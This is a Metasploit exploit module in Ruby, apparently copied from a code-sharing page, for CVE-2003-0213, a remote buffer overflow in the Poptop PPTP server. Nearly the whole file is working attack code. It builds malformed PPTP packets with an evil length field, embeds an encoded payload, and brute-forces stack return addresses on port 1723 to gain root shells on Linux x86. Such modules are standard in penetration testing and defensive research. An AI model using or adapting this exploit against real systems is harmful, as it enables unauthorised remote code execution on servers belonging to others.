Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::Brute
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Poptop Negative Read Overflow',
15
      'Description'    => %q{
16
          This is an exploit for the Poptop negative read overflow.  This will
17
        work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I
18
        currently do not have a good way to detect Poptop versions.
19

20
        The server will by default only allow 4 concurrent manager processes
21
        (what we run our code in), so you could have a max of 4 shells at once.
22

23
        Using the current method of exploitation, our socket will be closed
24
        before we have the ability to run code, preventing the use of Findsock.
25
      },
26
      'Author'         => 'spoonm',
27
      'License'        => MSF_LICENSE,
28
      'References'     =>
29
        [
30
          ['CVE', '2003-0213'],
31
          ['OSVDB', '3293'],
32
          ['URL',   'http://securityfocus.com/archive/1/317995'],
33
          ['URL',   'http://www.freewebs.com/blightninjas/'],
34
        ],
35
      'Privileged'     => true,
36
      'Payload'        =>
37
        {
38
          # Payload space is dynamically determined
39
          'MinNops'         => 16,
40
          'StackAdjustment' => -1088,
41
          'Compat'          =>
42
            {
43
              'ConnectionType' => '-find',
44
            }
45
        },
46
      'SaveRegisters'  => [ 'esp' ],
47
      'Platform'       => 'linux',
48
      'Arch'           => ARCH_X86,
49
      'Targets'        =>
50
        [
51
          ['Linux Bruteforce',
52
            { 'Bruteforce' =>
53
              {
54
                'Start'  => { 'Ret' => 0xbffffa00 },
55
                'Stop'   => { 'Ret' => 0xbffff000 },
56
                'Step'   => 0
57
              }
58
            }
59
          ],
60
        ],
61
      'DefaultTarget'  => 0,
62
      'DisclosureDate' => '2003-04-09'))
63

64
    register_options(
65
      [
66
        Opt::RPORT(1723)
67
      ])
68

69
    register_advanced_options(
70
      [
71
        OptInt.new("PreReturnLength", [ true, "Space before we hit the return address.  Affects PayloadSpace.", 220 ]),
72
        OptInt.new("RetLength",       [ true, "Length of returns after payload.", 32 ]),
73
        OptInt.new("ExtraSpace",      [ true, "The exploit builds two protocol frames, the header frame and the control frame. " +
74
          "ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). " +
75
          "If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data " +
76
          "(these should eventually be filled in to look like a real client, ie windows).  I've had successful exploitation with this set to 154, but nothing over 128 is suggested.", 0 ]),
77
        OptString.new("Hostname",     [ false, "PPTP Packet hostname", '' ]),
78
        OptString.new("Vendor",       [ true, "PPTP Packet vendor", 'Microsoft Windows NT' ]),
79
      ])
80
  end
81

82
  # Dynamic payload space calculation
83
  def payload_space(explicit_target = nil)
84
    datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i
85
  end
86

87
  def build_packet(length)
88
    [length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +
89
      [1,0].pack('cc') +
90
      [0].pack('n') +
91
      [1,1,0,2600].pack('NNnn') +
92
      datastore['Hostname'].ljust(64, "\x00") +
93
      datastore['Vendor'].ljust(64, "\x00")
94
  end
95

96
  def check
97
    connect
98
    sock.put(build_packet(156))
99
    res = sock.get_once
100

101
    if res and res =~ /MoretonBay/
102
      return CheckCode::Detected
103
    end
104

105
    return CheckCode::Safe
106
  end
107

108
  def brute_exploit(addrs)
109
    connect
110

111
    print_status("Trying #{"%.8x" % addrs['Ret']}...")
112

113
    # Construct the evil length packet
114
    packet =
115
      build_packet(1) +
116
      payload.encoded +
117
      ([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4))
118

119
    sock.put(packet)
120

121
    handler
122
    disconnect
123
  end
124
end
125

126